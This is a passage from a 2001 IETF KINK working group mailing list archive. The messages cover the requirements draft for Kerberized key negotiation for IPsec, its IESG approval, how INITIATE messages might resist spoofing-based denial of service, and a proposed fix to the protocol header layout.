draft of the KINK protocol that reflects the WG consensus on the questions above. We will target August or earlier for WG last call on the KINK protocol draft. There is an IPSEC interoperability bakeoff starting on August 13th in Helsinki, and it would be good to participate with the KINK protocol. From owner-ietf-kink Fri Apr 20 16:32:33 2001 Received: by above.proper.com (8.9.3/8.9.3) id QAA20016 for ietf-kink-bks; Fri, 20 Apr 2001 16:32:33 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA20008 for ; Fri, 20 Apr 2001 16:32:31 -0700 (PDT) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-3.cisco.com (8.9.3/8.9.1) with ESMTP id QAA24090 for ; Fri, 20 Apr 2001 16:30:42 -0700 (PDT) Received: from mhur-w2k.cisco.com (sjc-vpn-tmp188.cisco.com [10.21.64.188]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id AAU11364; Fri, 20 Apr 2001 16:32:03 -0700 (PDT) Message-Id: <4.3.2.7.2.20010420162935.01ee8bb8@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 20 Apr 2001 16:31:17 -0700 To: ietf-kink@vpnc.org From: Matthew Hur Subject: KINK revisions? In-Reply-To: <4.1.20010413104157.01621f00@mira-sjc5-1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The last I heard is that Mike Thomas sent a copy of the KINK draft to Tero to do some editing for the revised KINK protocol draft. Has there been any progress to date? --Matt From owner-ietf-kink Wed May 2 04:37:20 2001 Received: by above.proper.com (8.9.3/8.9.3) id EAA14504 for ietf-kink-bks; Wed, 2 May 2001 04:37:20 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA14499 for ; Wed, 2 May 2001 04:37:19 -0700 (PDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA06159; Wed, 2 May 2001 07:37:18 -0400 (EDT) Message-Id: <200105021137.HAA06159@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-reqmt-03.txt Date: Wed, 02 May 2001 07:37:18 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Requirements for Kerberized Internet Negotiation of Keys Author(s) : M. Thomas Filename : draft-ietf-kink-reqmt-03.txt Pages : 5 Date : 01-May-01 The KINK working group is chartered to create a standards track protocol to facilitate centralized key management for IPsec security associations as defined in RFC 2401, as an alternative to IKE (RFC 2409). Participating systems will use the Kerberos architecture as defined in RFC 1510 (and its successors) for key management. The goal of the working group is to produce a streamlined, fast, easily managed, and cryptographically sound protocol without requiring public key. The working group will not require changes to either IPsec (RFC 2401), or Kerberos (RFC 1510). A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-reqmt-03.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-reqmt-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-reqmt-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010501140702.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-reqmt-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-reqmt-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010501140702.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Wed May 2 06:34:57 2001 Received: (from majordomo@localhost) by above.proper.com (8.9.3/8.9.3) id GAA22257 for ietf-kink-bks; Wed, 2 May 2001 06:34:57 -0700 (PDT) Received: from motgate3.mot.com (motgate3.mot.com [144.189.100.103]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA22244 for ; Wed, 2 May 2001 06:34:55 -0700 (PDT) Received: [from pobox3.mot.com (pobox3.mot.com [10.64.251.242]) by motgate3.mot.com (motgate3 2.1) with ESMTP id GAA20812 for ; Wed, 2 May 2001 06:29:02 -0700 (MST)] Received: [from hpux4.miel.mot.com (hpux4.miel.mot.com [217.1.84.89]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id GAA23185 for ; Wed, 2 May 2001 06:29:09 -0700 (MST)] Received: from miel.mot.com (sindhu.miel.mot.com [217.1.84.27]) by miel.mot.com (8.9.3/8.9.3) with ESMTP id TAA10904 for ; Wed, 2 May 2001 19:04:46 +0530 (IST) Message-ID: <3AF004EC.C728F16F@miel.mot.com> Date: Wed, 02 May 2001 18:30:28 +0530 From: Rohit Aradhya Organization: Motorola, India X-Mailer: Mozilla 4.51 [en] (X11; I; HP-UX B.10.20 9000/782) X-Accept-Language: en MIME-Version: 1.0 To: ietf-kink@vpnc.org Subject: Re: I-D ACTION:draft-ietf-kink-reqmt-03.txt References: <200105021137.HAA06159@ietf.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I have following observations regarding this draft.. 'really appriciate any clearifications In the requirements sections of the draft. 1. Most of the requirements specified here are met by the Packet cable specification (PKT-SP-SEC-I01-991201) document, is this draft has some special requirements which are currently not supported by Packet Cable Spec mentioned above. 2. In third hyphen of the requirements section.. if i am interpreting it correctly.. does this mean to say.. It should be possible to start SA negotiation from either hosts participating. OR just send a wakeup from one host and always the AP_REQ starts from another machine. 3. Can anybody clearify what is User-to-User mode and its significance.? 4. The requirement for Multiple realms -- It should be a requirement mostly for KDC? -B.Regards Rohit Internet-Drafts@ietf.org wrote: > A New Internet-Draft is available from the on-line Internet-Drafts directories. > This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. > > Title : Requirements for Kerberized Internet Negotiation of > Keys > Author(s) : M. Thomas > Filename : draft-ietf-kink-reqmt-03.txt > Pages : 5 > Date : 01-May-01 > > The KINK working group is chartered to create a standards track > protocol to facilitate centralized key management for IPsec security > associations as defined in RFC 2401, as an alternative to IKE (RFC > 2409). Participating systems will use the Kerberos architecture as > defined in RFC 1510 (and its successors) for key management. The goal > of the working group is to produce a streamlined, fast, easily > managed, and cryptographically sound protocol without requiring > public key. > The working group will not require changes to either IPsec (RFC > 2401), or Kerberos (RFC 1510). > > A URL for this Internet-Draft is: > http://www.ietf.org/internet-drafts/draft-ietf-kink-reqmt-03.txt > > Internet-Drafts are also available by anonymous FTP. Login with the username > "anonymous" and a password of your e-mail address. After logging in, > type "cd internet-drafts" and then > "get draft-ietf-kink-reqmt-03.txt". > > A list of Internet-Drafts directories can be found in > http://www.ietf.org/shadow.html > or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > Internet-Drafts can also be obtained by e-mail. > > Send a message to: > mailserv@ietf.org. > In the body type: > "FILE /internet-drafts/draft-ietf-kink-reqmt-03.txt". > > NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the "mpack" utility. To use this > feature, insert the command "ENCODING mime" before the "FILE" > command. To decode the response(s), you will need "munpack" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > "multipart" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > > Below is the data which will enable a MIME compliant mail reader > implementation to automatically retrieve the ASCII version of the > Internet-Draft. > > ------------------------------------------------------------------------ > Content-Type: text/plain > Content-ID: <20010501140702.I-D@ietf.org> -- -------------------------------------------------------- [x] General Business Information [ ] Motorola Internal Use only [ ] Motorola Confidential Proprietary -------------------------------------------------------- -------------------------------------------------------- Rohit Aradhya, Motorola Banglore, India Ph- (080)5598615 X-4005 From owner-ietf-kink Tue May 8 10:49:45 2001 Received: by above.proper.com (8.9.3/8.9.3) id KAA16651 for ietf-kink-bks; Tue, 8 May 2001 10:49:45 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA16647 for ; Tue, 8 May 2001 10:49:43 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id NAA31468; Tue, 8 May 2001 13:49:04 -0400 To: Rohit Aradhya Cc: ietf-kink@vpnc.org Subject: Re: I-D ACTION:draft-ietf-kink-reqmt-03.txt References: <200105021137.HAA06159@ietf.org> <3AF004EC.C728F16F@miel.mot.com> From: Derek Atkins Date: 08 May 2001 13:49:04 -0400 In-Reply-To: Rohit Aradhya's message of "Wed, 02 May 2001 18:30:28 +0530" Message-ID: Lines: 50 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Rohit Aradhya writes: > 1. Most of the requirements specified here are met by the Packet > cable specification (PKT-SP-SEC-I01-991201) document, is this draft > has some special requirements which are currently not supported by > Packet Cable Spec mentioned above. Considering that KINK is somewhat derived from PacketCable, it isn't surprising that the requirements appear to mostly be met by the PacketCable specification. However, I'm not convinced that PacketCable meets ALL the requirements of KINK. > 2. In third hyphen of the requirements section.. if i am > interpreting it correctly.. does this mean to say.. It should be > possible to start SA negotiation from either hosts participating. > OR just send a wakeup from one host and always the AP_REQ starts > from another machine. It means that the complete KINK protocol must allow either participating host to initiate an SA negotiation. HOW that is met is a matter for the actual protocol and is out-of-scope for the requirements themselves. This may involve a handoff, or it may involve a direct authentication, or it may involve a request for a TGT to perform U-2-U. > 3. Can anybody clearify what is User-to-User mode and its significance.? Read RFC 1510. User-to-user allows a "responder" (i.e. a "server") to have just a TGT and not a kerberos keytab. In other words, it allows a Kerberos "client" (an entity with just a TGT) to act as a service provider. > 4. The requirement for Multiple realms -- It should be a > requirement mostly for KDC? Not necessarily. This is an issue in terms of naming at the KINK protocol level. You cannot just push it off to the KDCs. Otherwise a protocol may just assume that all entities are in the same Kerberos Realm, and that would be bad. > -B.Regards > Rohit -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu May 17 13:36:11 2001 Received: by above.proper.com (8.9.3/8.9.3) id NAA22573 for ietf-kink-bks; Thu, 17 May 2001 13:36:11 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA22546 for ; Thu, 17 May 2001 13:36:03 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4HKZd913445 for ; Thu, 17 May 2001 13:35:39 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AFY53530; Thu, 17 May 2001 13:35:33 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA03945; Thu, 17 May 2001 13:35:28 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15108.13840.649398.636948@thomasm-u1.cisco.com> Date: Thu, 17 May 2001 13:35:28 -0700 (PDT) To: ietf-kink@vpnc.org Subject: more on INITIATE X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I've been going through the archives trying to figure out what the protocol needs to do for the INITIATE that Derek suggested in January. What we agreed to at ietf50 was to require a round trip reachability test to mitigate the DoS attacks of somebody just spraying spoofed INITIATE's. There seems to be good consensus for this. However in thinking about this, I realize that we're not really done here. 1) The server sends the INITIATE, but initiate _what_? What does the client do? How does it know whether the server wants to do a CREATE or a DELETE? How does it know what proposals to make? How does it know the selectors need to be? With the packetcable wakeup, all of these things were implicit (CREATE an SA toward the CMS) Remember that the INITIATE is, by definition, *unauthenticated*. What prevents tampering loss of privacy if you put the semantics of the CREATE, etc in there? I'm really not sure what to do here. 2) GetTGT: Derek's proposal used the GetTGT request as the reachability test, which is fine, but seems sort of odd when the client already has the TGT or service ticket. Should we create a NOP kind of command to test for reachability, or just stick with the GetTGT (perhaps without request any TGT)? 3) Currently, the protocol requires that the initiator run the "optimistic" approach to creation of SA's. This is fine when the initiator starts this, but could lead to a DOS attack since the optimistic approach requires that the initiator install SA state before sending the CREATE. I'd like to propose that we have a new "pessimistic create" flag which informs the other side that we haven't installed state and that you have to do a full 3-way handshake. Mike From owner-ietf-kink Thu May 17 14:44:51 2001 Received: by above.proper.com (8.9.3/8.9.3) id OAA26365 for ietf-kink-bks; Thu, 17 May 2001 14:44:51 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA26359 for ; Thu, 17 May 2001 14:44:44 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f4HLget18139; Thu, 17 May 2001 14:42:40 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AFY55630; Thu, 17 May 2001 14:44:05 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA03952; Thu, 17 May 2001 14:44:05 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15108.17956.956458.668804@thomasm-u1.cisco.com> Date: Thu, 17 May 2001 14:44:04 -0700 (PDT) To: Dan Harkins Cc: ietf-kink@vpnc.org Subject: comments on draft-ietf-kink-kink-00.txt In-Reply-To: <200104032018.f33KI7x24456@potassium.cips.nokia.com> References: <200104032018.f33KI7x24456@potassium.cips.nokia.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: [old, but I'm trying to clear out the comments...] Dan Harkins writes: > The verbage from RFC2408 which seems to mandate a covert channel has > been copied into this draft. In section 7.4 where it talks about the SPI > size it says: > > "In the case of ISAKMP, the Initiator and Responder cookie pair > from the ISAKMP Header is the ISAKMP SPI, therefore, the > SPI Size is irrelevant and MAY be from zero (0) to sixteen (16). > If the SPI Size is non-zero, the content of the SPI field MUST > be ignored." > > This text should be removed. The SPI size should depend on the protocol > and either it MUST be a fixed something or it MUST be nothing. The > protocol-id should be better defined as well. What is the protocol id > of ISAKMP or TLS for example? And OSPF doesn't define a SPI. Dan, The decision at last ietf was to use IKE Phase II directly for SA establishment. The current plan is to directly reference 2409, but place a major/minor version into the ISAKMP payload header so that we are future proofed for any son-of-IKE revisions. Thus, I think your concern is addressed. > I also think it would be better to have kink define itself fully and > not depend on another document for payload and/or magic number definitions. > Since each payload from RFC2408 that is used in kink is redefined here that > shouldn't really be an issue. This would allow the "InnerNextPayload" > followed by 24 bits of zeros to go away. Having 32 bits of RESERVED in a > 32 bit aligned header seems excessive (figure 13). It's down 24 now :-| The same problem exists with the KINK_ENCRYPT payload. Sigh. One thing this does protect is what the type of the first inner payload is though, so maybe this is right for encrypt. Mike From owner-ietf-kink Fri May 18 13:19:53 2001 Received: by above.proper.com (8.9.3/8.9.3) id NAA19772 for ietf-kink-bks; Fri, 18 May 2001 13:19:53 -0700 (PDT) Received: from [165.227.249.18] (ip18.proper.com [165.227.249.18] (may be forged)) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA19764 for ; Fri, 18 May 2001 13:19:47 -0700 (PDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: Date: Fri, 18 May 2001 13:19:19 -0700 To: ietf-kink@vpnc.org From: Paul Hoffman / VPNC Subject: Fwd: ietf-kink Non-member submission: Document Action Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, this message got sent to the list but bounced due to it being from a non-subscribed person. That has now been fixed. > >From owner-ietf-kink Fri May 18 12:30:40 2001 >Received: from ietf.org (odin.ietf.org [132.151.1.176]) > by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA16677 > for ; Fri, 18 May 2001 12:30:39 -0700 (PDT) >Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) > by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13186; > Fri, 18 May 2001 15:30:23 -0400 (EDT) >Message-Id: <200105181930.PAA13186@ietf.org> >To: IETF-Announce: ; >Cc: RFC Editor >Cc: Internet Architecture Board >Cc: ietf-kink@vpnc.org >From: The IESG >Subject: Document Action: Requirements for Kerberized Internet > Negotiation of Keys to Informational >Date: Fri, 18 May 2001 15:30:23 -0400 >Sender: scoya@cnri.reston.va.us > > > >The IESG has approved the Internet-Draft 'Requirements for Kerberized >Internet Negotiation of Keys' as a >Informational. This document is the product of the Kerberized Internet >Negotiation of Keys Working Group. > >The IESG contact persons are Jeffrey Schiller and Marcus Leech. From owner-ietf-kink Tue May 29 10:00:29 2001 Received: (from majordomo@localhost) by above.proper.com (8.9.3/8.9.3) id KAA00230 for ietf-kink-bks; Tue, 29 May 2001 10:00:29 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA00219 for ; Tue, 29 May 2001 10:00:24 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f4TGwPc01436 for ; Tue, 29 May 2001 09:58:25 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AHE02905; Tue, 29 May 2001 09:59:54 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA07548; Tue, 29 May 2001 09:59:54 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="rF2G+QA4Me" Content-Transfer-Encoding: 7bit Message-ID: <15123.54666.232238.189561@thomasm-u1.cisco.com> Date: Tue, 29 May 2001 09:59:54 -0700 (PDT) To: ietf-kink@vpnc.org Subject: initiate redux X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --rF2G+QA4Me Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit I sent this a couple of weeks ago and haven't had any responses. After exchanging some email with our chairs, I've decided to give this another shot at starting a discussion here about how the protocol for this really ought to be done. If I don't get substanative feedback, I'm just going to finish up the current document (which is just pending the security considerations, I think) and resubmit it so that we can move on. Mike --rF2G+QA4Me Content-Type: message/rfc822 Content-Description: forwarded message Content-Transfer-Encoding: 7bit Content-Length: -2335 Return-Path: Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AGI04416; Thu, 17 May 2001 19:03:58 -0700 (PDT) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f4I241U21367; Thu, 17 May 2001 19:04:01 -0700 (PDT) Received: from proxy2.cisco.com (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f4HKjLM03497; Thu, 17 May 2001 13:45:23 -0700 (PDT) Received: from above.proper.com (above.proper.com [208.184.76.39]) by proxy2.cisco.com (8.11.2/8.11.2) with ESMTP id f4HKf3D05937; Thu, 17 May 2001 13:41:04 -0700 (PDT) Received: by above.proper.com (8.9.3/8.9.3) id NAA22573 for ietf-kink-bks; Thu, 17 May 2001 13:36:11 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA22546 for ; Thu, 17 May 2001 13:36:03 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4HKZd913445 for ; Thu, 17 May 2001 13:35:39 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AFY53530; Thu, 17 May 2001 13:35:33 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA03945; Thu, 17 May 2001 13:35:28 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <15108.13840.649398.636948@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Michael Thomas Sender: owner-ietf-kink@mail.vpnc.org To: ietf-kink@vpnc.org Subject: more on INITIATE Date: Thu, 17 May 2001 13:35:28 -0700 (PDT) I've been going through the archives trying to figure out what the protocol needs to do for the INITIATE that Derek suggested in January. What we agreed to at ietf50 was to require a round trip reachability test to mitigate the DoS attacks of somebody just spraying spoofed INITIATE's. There seems to be good consensus for this. However in thinking about this, I realize that we're not really done here. 1) The server sends the INITIATE, but initiate _what_? What does the client do? How does it know whether the server wants to do a CREATE or a DELETE? How does it know what proposals to make? How does it know the selectors need to be? With the packetcable wakeup, all of these things were implicit (CREATE an SA toward the CMS) Remember that the INITIATE is, by definition, *unauthenticated*. What prevents tampering loss of privacy if you put the semantics of the CREATE, etc in there? I'm really not sure what to do here. 2) GetTGT: Derek's proposal used the GetTGT request as the reachability test, which is fine, but seems sort of odd when the client already has the TGT or service ticket. Should we create a NOP kind of command to test for reachability, or just stick with the GetTGT (perhaps without request any TGT)? 3) Currently, the protocol requires that the initiator run the "optimistic" approach to creation of SA's. This is fine when the initiator starts this, but could lead to a DOS attack since the optimistic approach requires that the initiator install SA state before sending the CREATE. I'd like to propose that we have a new "pessimistic create" flag which informs the other side that we haven't installed state and that you have to do a full 3-way handshake. Mike --rF2G+QA4Me-- From owner-ietf-kink Sat Jun 16 15:18:09 2001 Received: by above.proper.com (8.11.3/8.11.3) id f5GMI9I07633 for ietf-kink-bks; Sat, 16 Jun 2001 15:18:09 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f5GMI7J07622 for ; Sat, 16 Jun 2001 15:18:07 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f5GMIAx28810 for ; Sat, 16 Jun 2001 15:18:10 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AIP05070; Sat, 16 Jun 2001 15:18:04 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA13131; Sat, 16 Jun 2001 15:18:04 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15147.56092.288738.492289@thomasm-u1.cisco.com> Date: Sat, 16 Jun 2001 15:18:04 -0700 (PDT) To: ietf-kink@vpnc.org Subject: header inconsistancy X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: In coding the current spec, I discovered that there's an inconsistancy in the header. Namely, the diagram shows the next payload as a short, but the description shows it as a char. Since the payloads all use a char next payload, I propose that we fix this by changing the header around a bit: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | MjVer | MnVer | Length | +---------------+---------------+---------------+---------------+ | Domain of Interpretation (DOI) | +-------------------------------+-------------------------------+ | Transaction ID (XID) | +---------------+---------------+-+-----------------------------+ | CksumLen | NextPayload |A| Reserved | +---------------+---------------+-+-----------------------------+ | | ~ Cksum ~ | | +-------------------------------+-------------------------------+ | | ~ A series of payloads ~ | | +-------------------------------+-------------------------------+ Note that NextPayload is where "flags" was before, and the ACKREQ bit has just been moved to the top bit. I also just made the rest of the bits reserved which actually reclaims another 7 bits. I've put this into the soon-to-be-issued -01 draft unless there's strong sentiment against this... Mike From owner-ietf-kink Wed Jun 20 00:07:19 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f5K77JE20909 for ietf-kink-bks; Wed, 20 Jun 2001 00:07:19 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f5K77Ik20902 for ; Wed, 20 Jun 2001 00:07:18 -0700 (PDT) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f5K77Ix12825; Wed, 20 Jun 2001 00:07:18 -0700 (PDT) Received: from mhur-w2k.cisco.com (sjc-vpn-tmp7.cisco.com [10.21.64.7]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id AAJ09474; Wed, 20 Jun 2001 00:07:12 -0700 (PDT) Message-Id: <4.3.2.7.2.20010619212253.043af108@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 19 Jun 2001 21:23:51 -0700 To: Michael Thomas , ietf-kink@vpnc.org From: Matthew Hur Subject: Re: header inconsistancy In-Reply-To: <15147.56092.288738.492289@thomasm-u1.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: This sounds ok, but why did 